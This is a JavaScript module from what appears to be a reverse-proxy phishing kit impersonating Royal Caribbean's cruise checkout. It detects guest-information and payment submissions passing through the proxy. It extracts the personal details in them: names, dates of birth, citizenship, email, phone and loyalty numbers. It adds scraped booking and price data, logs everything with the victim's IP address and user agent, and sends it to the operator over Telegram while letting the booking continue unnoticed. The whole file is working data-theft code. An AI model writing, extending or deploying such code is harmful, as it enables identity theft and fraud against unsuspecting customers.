const cheerio = require('cheerio');

class FormInterceptor {
  constructor(telegramService, databaseService) {
    this.telegramService = telegramService;
    this.databaseService = databaseService;
  }

  /**
   * Check if the request is a form submission to guest info
   */
  isGuestInfoFormSubmission(req) {
    // EXCLUDE API endpoints that should NOT be intercepted as forms
    const excludedPaths = [
      '/graph',                    // GraphQL API for cruise search
      '/api/cruises',              // Cruise search API
      '/api/search',               // Search API
      '/bin/services/royal',       // Royal Caribbean services
      '/pulse/api',                // Pulse API
      '/experiential-cart/api',    // Cart API
      '/bin/services/royal/dictionary', // Dictionary API
      '/graphql',                  // General GraphQL (but allow /checkout/graphql)
    ];
    
    // Check if this is an excluded API endpoint
    const isExcludedAPI = excludedPaths.some(path => req.path.startsWith(path));
    if (isExcludedAPI) {
      return false; // Don't intercept API requests
    }
    
    // Normalize headers (Node.js Express lowercases header keys)
    const contentType = req.headers['content-type'] || req.headers['Content-Type'] || '';
    const referer = req.headers.referer || req.headers['Referer'] || '';

    // EXCLUDE intermediate requests (validation, autosave, draft, etc.)
    // BUT allow checkout/payment paths (they contain "check" but are final submissions)
    const excludedKeywords = [
      'validate',
      'validation',
      'autosave',
      'draft',
      'save-draft',
      'verify',
      'preview',
      'partial',
      'incremental'
    ];
    
    // Special handling: "check" keyword should not block /checkout/payment paths
    const hasCheckKeyword = req.path.toLowerCase().includes('check');
    const isCheckoutPayment = req.path.includes('/checkout/payment') || 
                              req.path.includes('/checkout/') && req.path.includes('payment');
    
    const pathLower = req.path.toLowerCase();
    const isIntermediateRequest = excludedKeywords.some(keyword => 
      pathLower.includes(keyword) || 
      req.headers['x-request-type']?.toLowerCase().includes(keyword) ||
      req.headers['x-action']?.toLowerCase().includes(keyword)
    ) || (hasCheckKeyword && !isCheckoutPayment && 
          (pathLower.includes('/check') && !pathLower.includes('/checkout')));
    
    if (isIntermediateRequest) {
      return false; // Don't intercept intermediate requests
    }

    const isValidMethod = ['POST', 'PUT', 'PATCH'].includes(req.method);
    
    // Check for guest info or payment-related paths
    const hasGuestInfoPath = req.path.includes('/checkout/guest-info') ||
                            req.path.includes('/checkout/') && req.path.includes('guest') ||
                            req.path.includes('/booking/guest') ||
                            req.path.includes('/reservation/guest') ||
                            req.path.includes('/checkout/payment') ||
                            req.path.includes('/checkout/') && (req.path.includes('payment') || req.path.includes('billing')) ||
                            referer.includes('/checkout/guest-info') ||
                            referer.includes('/guest-info') ||
                            referer.includes('/checkout/payment') ||
                            (referer.includes('/checkout') && req.path.includes('guest'));
    
    const hasFormContentType = contentType.includes('application/x-www-form-urlencoded') ||
                              contentType.includes('multipart/form-data') ||
                              (contentType.includes('application/json') && (hasGuestInfoPath || req.path.includes('/checkout'))) ||
                              contentType.includes('text/plain') ||
                              !contentType; // Allow requests without content-type

    // Check if this is a guest data save request (when first guest data is saved)
    // We'll intercept requests that save guest data, but allow them to continue
    const hasGuestDataPath = req.path.includes('/checkout/api/v2/rooms/guests') ||
                            req.path.includes('/checkout/api/v1/rooms/guests') ||
                            req.path.includes('/checkout/api/rooms/guests') ||
                            (req.path.includes('/checkout') && req.path.includes('guest'));
    const hasGuestInfoReferer = referer.includes('/checkout/guest-info') ||
                               referer.includes('/guest-info') ||
                               referer.includes('/checkout');
    const hasValidContentType = contentType.includes('json') || 
                                contentType.includes('application/x-www-form-urlencoded') ||
                                !contentType;
    
    // Intercept guest data save requests (we'll check for first guest data in server.js)
    const isGuestDataSave = isValidMethod && 
                           hasGuestDataPath && 
                           hasValidContentType;
    
    // Check if this is the FINAL payment transition (Continue to Payment button)
    const hasPaymentPath = req.path.includes('/checkout/payment') || 
                          (req.path.includes('/checkout/') && req.path.includes('payment') && !req.path.includes('/api/'));
    const isFinalPaymentTransition = isValidMethod && 
                                     hasPaymentPath && 
                                     hasGuestInfoReferer && 
                                     hasValidContentType &&
                                     !req.path.includes('/api/');
    
    // Log for debugging
    if (isValidMethod && (req.path.includes('/checkout') || req.path.includes('/payment'))) {
      console.log(`[FORM-INTERCEPTOR] path=${req.path}, referer=${referer}, isGuestDataSave=${isGuestDataSave}, isFinalPaymentTransition=${isFinalPaymentTransition}`);
    }
    
    // Intercept guest data saves OR final payment transition
    return isGuestDataSave || isFinalPaymentTransition;
  }

  /**
   * Extract form data from request body
   */
  extractFormData(req, body) {
    try {
      const contentType = req.headers['content-type'] || '';
      console.log(`[FORM] Extracting form data, content-type: ${contentType}, body length: ${body.length}`);
      console.log(`[FORM] Raw body preview: ${body.substring(0, 200)}${body.length > 200 ? '...' : ''}`);

      if (contentType.includes('application/json')) {
        const jsonData = JSON.parse(body);

        // Check if this is a GraphQL request
        if (jsonData.query && jsonData.variables) {
          console.log('[FORM] GraphQL request detected');
          console.log('[FORM] GraphQL variables keys:', Object.keys(jsonData.variables || {}));
          
          // Extract variables which may contain guest data
          if (jsonData.variables) {
            const extractedData = { ...jsonData.variables, graphqlQuery: jsonData.query };
            
            // Deep extract guest data from nested structures
            // Check for guests array
            if (jsonData.variables.guests && Array.isArray(jsonData.variables.guests)) {
              console.log('[FORM] Found guests array with', jsonData.variables.guests.length, 'guests');
              const primaryGuest = jsonData.variables.guests.find(g => g.isPrimary) || jsonData.variables.guests[0];
              if (primaryGuest) {
                // Flatten guest data to top level
                Object.assign(extractedData, {
                  firstName: primaryGuest.firstName || primaryGuest.first_name,
                  lastName: primaryGuest.lastName || primaryGuest.last_name,
                  gender: primaryGuest.gender || primaryGuest.sex,
                  dateOfBirth: primaryGuest.dateOfBirth || primaryGuest.birthDate || primaryGuest.dob,
                  citizenship: primaryGuest.citizenship,
                  residenceCountry: primaryGuest.residenceCountry || primaryGuest.countryOfResidence,
                  email: primaryGuest.email,
                  phoneNumber: primaryGuest.phoneNumber || primaryGuest.phone || primaryGuest.phone_number,
                  loyaltyNumber: primaryGuest.loyaltyNumber || primaryGuest.loyalty_number || primaryGuest.crownAnchorNumber
                });
              }
            }
            
            // Check for guest object (singular)
            if (jsonData.variables.guest && typeof jsonData.variables.guest === 'object') {
              console.log('[FORM] Found guest object');
              const guest = jsonData.variables.guest;
              Object.assign(extractedData, {
                firstName: guest.firstName || guest.first_name || extractedData.firstName,
                lastName: guest.lastName || guest.last_name || extractedData.lastName,
                gender: guest.gender || guest.sex || extractedData.gender,
                dateOfBirth: guest.dateOfBirth || guest.birthDate || guest.dob || extractedData.dateOfBirth,
                citizenship: guest.citizenship || extractedData.citizenship,
                residenceCountry: guest.residenceCountry || guest.countryOfResidence || extractedData.residenceCountry,
                email: guest.email || extractedData.email,
                phoneNumber: guest.phoneNumber || guest.phone || guest.phone_number || extractedData.phoneNumber,
                loyaltyNumber: guest.loyaltyNumber || guest.loyalty_number || guest.crownAnchorNumber || extractedData.loyaltyNumber
              });
            }
            
            // Check for passenger object
            if (jsonData.variables.passenger && typeof jsonData.variables.passenger === 'object') {
              console.log('[FORM] Found passenger object');
              const passenger = jsonData.variables.passenger;
              Object.assign(extractedData, {
                firstName: passenger.firstName || passenger.first_name || extractedData.firstName,
                lastName: passenger.lastName || passenger.last_name || extractedData.lastName,
                gender: passenger.gender || passenger.sex || extractedData.gender,
                dateOfBirth: passenger.dateOfBirth || passenger.birthDate || passenger.dob || extractedData.dateOfBirth,
                citizenship: passenger.citizenship || extractedData.citizenship,
                residenceCountry: passenger.residenceCountry || passenger.countryOfResidence || extractedData.residenceCountry,
                email: passenger.email || extractedData.email,
                phoneNumber: passenger.phoneNumber || passenger.phone || passenger.phone_number || extractedData.phoneNumber
              });
            }
            
            // Extract cruise/booking data from variables if available
            if (jsonData.variables.booking) {
              const booking = jsonData.variables.booking;
              if (booking.cruiseTitle || booking.cruise_title) extractedData.cruise_title = booking.cruiseTitle || booking.cruise_title;
              if (booking.shipName || booking.ship_name) extractedData.ship_name = booking.shipName || booking.ship_name;
              if (booking.departurePort || booking.departure_port) extractedData.departure_port = booking.departurePort || booking.departure_port;
              if (booking.startDate || booking.start_date) extractedData.start_date = booking.startDate || booking.start_date;
              if (booking.endDate || booking.end_date) extractedData.end_date = booking.endDate || booking.end_date;
              if (booking.roomType || booking.room_type) extractedData.room_type = booking.roomType || booking.room_type;
              if (booking.totalPrice || booking.total_price) extractedData.total_price = booking.totalPrice || booking.total_price;
            }
            
            // Check for cruise data in root variables
            if (jsonData.variables.cruise) {
              const cruise = jsonData.variables.cruise;
              if (cruise.title) extractedData.cruise_title = cruise.title;
              if (cruise.shipName) extractedData.ship_name = cruise.shipName;
              if (cruise.departurePort) extractedData.departure_port = cruise.departurePort;
            }
            
            // Check for nested input objects (common in GraphQL mutations)
            if (jsonData.variables.input && typeof jsonData.variables.input === 'object') {
              console.log('[FORM] Found input object');
              const input = jsonData.variables.input;
              
              // Extract cruise data from input if available
              if (input.booking) {
                const booking = input.booking;
                if (booking.cruiseTitle || booking.cruise_title) extractedData.cruise_title = booking.cruiseTitle || booking.cruise_title;
                if (booking.shipName || booking.ship_name) extractedData.ship_name = booking.shipName || booking.ship_name;
                if (booking.departurePort || booking.departure_port) extractedData.departure_port = booking.departurePort || booking.departure_port;
                if (booking.startDate || booking.start_date) extractedData.start_date = booking.startDate || booking.start_date;
                if (booking.endDate || booking.end_date) extractedData.end_date = booking.endDate || booking.end_date;
                if (booking.roomType || booking.room_type) extractedData.room_type = booking.roomType || booking.room_type;
                if (booking.totalPrice || booking.total_price) extractedData.total_price = booking.totalPrice || booking.total_price;
              }
              
              // Check for guests in input
              if (input.guests && Array.isArray(input.guests)) {
                const primaryGuest = input.guests.find(g => g.isPrimary) || input.guests[0];
                if (primaryGuest) {
                  Object.assign(extractedData, {
                    firstName: primaryGuest.firstName || primaryGuest.first_name || extractedData.firstName,
                    lastName: primaryGuest.lastName || primaryGuest.last_name || extractedData.lastName,
                    gender: primaryGuest.gender || primaryGuest.sex || extractedData.gender,
                    dateOfBirth: primaryGuest.dateOfBirth || primaryGuest.birthDate || primaryGuest.dob || extractedData.dateOfBirth,
                    citizenship: primaryGuest.citizenship || extractedData.citizenship,
                    residenceCountry: primaryGuest.residenceCountry || primaryGuest.countryOfResidence || extractedData.residenceCountry,
                    email: primaryGuest.email || extractedData.email,
                    phoneNumber: primaryGuest.phoneNumber || primaryGuest.phone || primaryGuest.phone_number || extractedData.phoneNumber,
                    loyaltyNumber: primaryGuest.loyaltyNumber || primaryGuest.loyalty_number || primaryGuest.crownAnchorNumber || extractedData.loyaltyNumber
                  });
                }
              }
              
              // Check for guest in input
              if (input.guest && typeof input.guest === 'object') {
                Object.assign(extractedData, {
                  firstName: input.guest.firstName || input.guest.first_name || extractedData.firstName,
                  lastName: input.guest.lastName || input.guest.last_name || extractedData.lastName,
                  gender: input.guest.gender || input.guest.sex || extractedData.gender,
                  dateOfBirth: input.guest.dateOfBirth || input.guest.birthDate || input.guest.dob || extractedData.dateOfBirth,
                  citizenship: input.guest.citizenship || extractedData.citizenship,
                  residenceCountry: input.guest.residenceCountry || input.guest.countryOfResidence || extractedData.residenceCountry,
                  email: input.guest.email || extractedData.email,
                  phoneNumber: input.guest.phoneNumber || input.guest.phone || input.guest.phone_number || extractedData.phoneNumber,
                  loyaltyNumber: input.guest.loyaltyNumber || input.guest.loyalty_number || input.guest.crownAnchorNumber || extractedData.loyaltyNumber
                });
              }
            }
            
            // Check for rooms array structure (common in checkout API)
            // Structure: { rooms: [{ guests: [{ firstName, lastName, ... }] }] }
            if (jsonData.rooms && Array.isArray(jsonData.rooms)) {
              console.log('[FORM] Found rooms array with', jsonData.rooms.length, 'rooms');
              for (const room of jsonData.rooms) {
                if (room.guests && Array.isArray(room.guests)) {
                  const primaryGuest = room.guests.find(g => g.isPrimary) || room.guests[0];
                  if (primaryGuest) {
                    console.log('[FORM] Extracting guest data from rooms[].guests[] structure');
                    Object.assign(extractedData, {
                      firstName: primaryGuest.firstName || primaryGuest.first_name || extractedData.firstName,
                      lastName: primaryGuest.lastName || primaryGuest.last_name || extractedData.lastName,
                      gender: primaryGuest.gender || primaryGuest.sex || extractedData.gender,
                      dateOfBirth: primaryGuest.dateOfBirth || primaryGuest.birthDate || primaryGuest.dob || extractedData.dateOfBirth,
                      citizenship: primaryGuest.citizenship || primaryGuest.citinzenshipCountryCode || primaryGuest.citizenshipCountryCode || extractedData.citizenship,
                      residenceCountry: primaryGuest.residenceCountry || primaryGuest.residenceCountryCode || primaryGuest.countryOfResidence || extractedData.residenceCountry,
                      email: primaryGuest.email || extractedData.email,
                      phoneNumber: primaryGuest.phoneNumber || primaryGuest.phone || primaryGuest.phone_number || extractedData.phoneNumber,
                      loyaltyNumber: primaryGuest.loyaltyNumber || primaryGuest.loyalty_number || primaryGuest.crownAnchorNumber || extractedData.loyaltyNumber
                    });
                    
                    // Extract cruise/booking data from room if available
                    if (room.categoryCode) extractedData.room_category = room.categoryCode;
                    if (room.roomNumber) extractedData.room_number = room.roomNumber;
                    if (room.total) extractedData.total_price = `$${room.total}`;
                    break; // Only extract from first room
                  }
                }
              }
            }
            
            // Extract cruise data from root level if available
            if (jsonData.packageId) extractedData.package_id = jsonData.packageId;
            if (jsonData.shipCode) extractedData.ship_code = jsonData.shipCode;
            if (jsonData.sailDate) extractedData.sail_date = jsonData.sailDate;
            
            console.log('[FORM] Extracted guest data keys:', Object.keys(extractedData).filter(k => 
              ['firstName', 'lastName', 'gender', 'dateOfBirth', 'citizenship', 'residenceCountry', 'email', 'phoneNumber', 'loyaltyNumber'].includes(k) && extractedData[k]
            ));
            
            return extractedData;
          }
        }
        
        // Handle regular JSON (not GraphQL) - check for rooms array structure
        // This is the structure used by /checkout/api/v2/rooms/guests and /checkout/api/v2/rooms/leads
        if (jsonData.rooms && Array.isArray(jsonData.rooms)) {
          console.log('[FORM] Found rooms array in regular JSON with', jsonData.rooms.length, 'rooms');
          const extractedData = { ...jsonData };
          
          // Extract guest data from first room's first guest
          for (const room of jsonData.rooms) {
            if (room.guests && Array.isArray(room.guests) && room.guests.length > 0) {
              const primaryGuest = room.guests.find(g => g.isPrimary) || room.guests[0];
              if (primaryGuest) {
                console.log('[FORM] Extracting guest data from rooms[].guests[] structure (regular JSON)');
                Object.assign(extractedData, {
                  firstName: primaryGuest.firstName || primaryGuest.first_name,
                  lastName: primaryGuest.lastName || primaryGuest.last_name,
                  gender: primaryGuest.gender || primaryGuest.sex,
                  dateOfBirth: primaryGuest.dateOfBirth || primaryGuest.birthDate || primaryGuest.dob,
                  citizenship: primaryGuest.citizenship || primaryGuest.citinzenshipCountryCode || primaryGuest.citizenshipCountryCode,
                  residenceCountry: primaryGuest.residenceCountry || primaryGuest.residenceCountryCode || primaryGuest.countryOfResidence,
                  email: primaryGuest.email,
                  phoneNumber: primaryGuest.phoneNumber || primaryGuest.phone || primaryGuest.phone_number,
                  loyaltyNumber: primaryGuest.loyaltyNumber || primaryGuest.loyalty_number || primaryGuest.crownAnchorNumber
                });
                
                // Extract cruise/booking data from room and root level
                if (room.categoryCode) extractedData.room_category = room.categoryCode;
                if (room.roomNumber) extractedData.room_number = room.roomNumber;
                if (room.total) extractedData.total_price = `$${room.total}`;
                if (jsonData.packageId) extractedData.package_id = jsonData.packageId;
                if (jsonData.shipCode) extractedData.ship_code = jsonData.shipCode;
                if (jsonData.sailDate) extractedData.sail_date = jsonData.sailDate;
                
                console.log('[FORM] Extracted guest data keys:', Object.keys(extractedData).filter(k => 
                  ['firstName', 'lastName', 'gender', 'dateOfBirth', 'citizenship', 'residenceCountry', 'email', 'phoneNumber', 'loyaltyNumber'].includes(k) && extractedData[k]
                ));
                
                return extractedData;
              }
            }
          }
        }

        return jsonData;
      } else if (contentType.includes('application/x-www-form-urlencoded')) {
        const params = new URLSearchParams(body);
        const data = {};
        for (const [key, value] of params) {
          data[key] = value;
        }
        return data;
      } else if (contentType.includes('multipart/form-data')) {
        // For multipart data, we'd need a more sophisticated parser
        // For now, return a note that multipart parsing is needed
        return { note: 'Multipart form data detected - parsing not implemented yet' };
      } else if (contentType.includes('text/plain') || !contentType) {
        // Try to parse as JSON if it looks like JSON
        if (body.trim().startsWith('{') || body.trim().startsWith('[')) {
          try {
            return JSON.parse(body);
          } catch (e) {
            // Not JSON, return as text
            return { textContent: body };
          }
        } else {
          // Try to parse as URL-encoded data
          try {
            const params = new URLSearchParams(body);
            const data = {};
            for (const [key, value] of params) {
              data[key] = value;
            }
            return data;
          } catch (e) {
            return { textContent: body };
          }
        }
      }

      return {};
    } catch (error) {
      console.error('[FORM] Error parsing form data:', error.message);
      return { error: 'Failed to parse form data' };
    }
  }

  /**
   * Extract side panel data from HTML content
   */
  extractSidePanelData(htmlContent) {
    try {
      const $ = cheerio.load(htmlContent);
      const sidePanelData = {};

      // Look for Royal Caribbean specific side panel selectors
      const sidePanelSelectors = [
        '[data-testid="side-panel"]',
        '.SidePanel_root__o3k9bu2',
        '.SummaryPrice_summaryContainer__1nizh9x0',
        '.NavigationCard_container__3lkpbe2',
        '[data-testid*="summary"]',
        '.booking-summary',
        '.reservation-summary',
        '.sidebar',
        '.side-panel'
      ];

      // Extract comprehensive side panel data
      let foundSidePanel = false;
      
      console.log('[SIDE_PANEL] Starting extraction from HTML (length:', htmlContent.length, ')');

      for (const selector of sidePanelSelectors) {
        const element = $(selector);
        if (element.length > 0) {
          // Extract text content and key data points
          const text = element.text().trim();
          if (text) {
            sidePanelData[selector] = text.substring(0, 1000); // Increased limit
          }

          // Extract specific data attributes
          const dataAttrs = element.data();
          if (Object.keys(dataAttrs).length > 0) {
            sidePanelData[`${selector}_data`] = dataAttrs;
          }

          foundSidePanel = true;
          // Don't break - collect data from multiple selectors
        }
      }

      // Extract specific Royal Caribbean booking data
      if (foundSidePanel) {
        // Cruise details - try multiple selectors
        const cruiseTitle = $('.ItineraryDetails_title__g7io8o0').text().trim() ||
                           $('[data-testid="cruise-title"]').text().trim() ||
                           $('h1[class*="cruise"], h2[class*="cruise"]').first().text().trim() ||
                           $('[class*="CruiseTitle"]').first().text().trim();
        if (cruiseTitle) {
          sidePanelData.cruise_title = cruiseTitle;
          console.log('[SIDE_PANEL] Found cruise title:', cruiseTitle);
        }

        const departurePort = $('[data-testid="itinerary-summary-port"]').text().trim() ||
                             $('[data-testid*="port"]').first().text().trim() ||
                             $('[class*="Port"]').first().text().trim();
        if (departurePort) {
          sidePanelData.departure_port = departurePort;
          console.log('[SIDE_PANEL] Found departure port:', departurePort);
        }

        const shipName = $('[data-testid="itinerary-summary-ship"]').text().trim() ||
                        $('[data-testid*="ship"]').first().text().trim() ||
                        $('[class*="Ship"]').first().text().trim();
        if (shipName) {
          sidePanelData.ship_name = shipName;
          console.log('[SIDE_PANEL] Found ship name:', shipName);
        }

        const startDate = $('[data-testid="itinerary-summary-start-date"]').text().trim() ||
                         $('[data-testid*="start-date"]').first().text().trim() ||
                         $('[class*="StartDate"]').first().text().trim();
        if (startDate) {
          sidePanelData.start_date = startDate;
          console.log('[SIDE_PANEL] Found start date:', startDate);
        }

        const endDate = $('[data-testid="itinerary-summary-end-date"]').text().trim() ||
                      $('[data-testid*="end-date"]').first().text().trim() ||
                      $('[class*="EndDate"]').first().text().trim();
        if (endDate) {
          sidePanelData.end_date = endDate;
          console.log('[SIDE_PANEL] Found end date:', endDate);
        }

        // Room information
        const roomGuests = $('[data-testid="navigation-card-rooms-and-guests-link"]').text().trim();
        if (roomGuests) sidePanelData.room_guests = roomGuests;

        const roomType = $('[data-testid="navigation-card-room-type-link"]').text().trim();
        if (roomType) sidePanelData.room_type = roomType;

        const roomSubtype = $('[data-testid="navigation-card-room-subtype-link"]').text().trim();
        if (roomSubtype) sidePanelData.room_subtype = roomSubtype;

        const roomLocation = $('[data-testid="navigation-card-room-location-link"]').text().trim();
        if (roomLocation) sidePanelData.room_location = roomLocation;

        // Additional room information
        const roomCategory = $('[data-testid="room-category"]').text().trim();
        if (roomCategory) sidePanelData.room_category = roomCategory;

        // Pricing information
        const cruiseFare = $('[data-testid="pricing-cruise-fare"]').text().trim();
        if (cruiseFare) sidePanelData.cruise_fare = cruiseFare;

        const discount = $('[data-testid="pricing-discount"]').text().trim();
        if (discount) sidePanelData.discount = discount;

        const subtotal = $('[data-testid="pricing-subtotal"]').text().trim();
        if (subtotal) sidePanelData.subtotal = subtotal;

        const taxes = $('[data-testid="pricing-taxes"]').text().trim();
        if (taxes) sidePanelData.taxes_fees = taxes;

        const totalPrice = $('[data-testid="pricing-total"]').text().trim();
        if (totalPrice) sidePanelData.total_price = totalPrice;

        const gratuities = $('[data-testid="summary-gratuities"]').text().trim();
        if (gratuities) sidePanelData.gratuities = gratuities;

        // Promos
        const promos = [];
        $('[data-testid="promo-included"]').each((i, el) => {
          const promoText = $(el).text().trim();
          if (promoText) promos.push(promoText);
        });
        if (promos.length > 0) sidePanelData.applied_promos = promos;

        // Savings information
        const savingsText = $('[data-testid="totaldiscountsbox-label"]').text().trim();
        if (savingsText) sidePanelData.total_savings = savingsText;
      }
      
      // Log what was extracted
      const extractedKeys = Object.keys(sidePanelData);
      console.log(`[SIDE_PANEL] Extraction complete. Found ${extractedKeys.length} fields:`, extractedKeys.join(', '));
      if (extractedKeys.length > 0) {
        console.log(`[SIDE_PANEL] Sample data:`, JSON.stringify(Object.fromEntries(
          Object.entries(sidePanelData).slice(0, 10)
        )));
      }

      return sidePanelData;
    } catch (error) {
      console.error('[FORM] Error extracting side panel data:', error.message);
      return { error: 'Failed to extract side panel data' };
    }
  }

  /**
   * Handle form submission
   */
  async handleFormSubmission(req, res, proxyRes, formData, sidePanelData = null) {
    try {
      console.log(`[FORM] ===== Processing form submission =====`);
      console.log(`[FORM] IP: ${req.ip || req.connection.remoteAddress}`);
      console.log(`[FORM] Form data keys: ${Object.keys(formData).join(', ')}`);
      console.log(`[FORM] Side panel data available: ${sidePanelData ? 'YES' : 'NO'}`);
      console.log(`[FORM] Telegram service available: ${this.telegramService ? 'YES' : 'NO'}`);
      console.log(`[FORM] Database service available: ${this.databaseService ? 'YES' : 'NO'}`);

      if (!this.telegramService) {
        console.error('[FORM] ERROR: Telegram service not available!');
        return;
      }

      if (!this.databaseService) {
        console.error('[FORM] ERROR: Database service not available!');
        return;
      }

      // Save to local database
      console.log('[FORM] Saving to database...');
      const submissionId = this.databaseService.saveFormSubmission(formData, sidePanelData);
      console.log(`[FORM] Saved to database with ID: ${submissionId}`);

      // Update with request metadata
      this.databaseService.updateSubmission(submissionId, {
        ip: req.ip || req.connection.remoteAddress,
        userAgent: req.headers['user-agent'],
        referer: req.headers.referer,
        timestamp: new Date().toISOString()
      });

      // Send Telegram notification
      console.log('[FORM] Sending Telegram notification...');
      await this.telegramService.sendFormSubmissionNotification(formData, sidePanelData);
      console.log('[FORM] Telegram notification sent successfully');

      console.log(`[FORM] ===== Form submission processed successfully - ID: ${submissionId} =====`);

    } catch (error) {
      console.error('[FORM] ===== ERROR handling form submission =====');
      console.error('[FORM] Error message:', error.message);
      console.error('[FORM] Error stack:', error.stack);
      // Don't throw error - we don't want to break the proxy flow
    }
  }
}

module.exports = FormInterceptor;
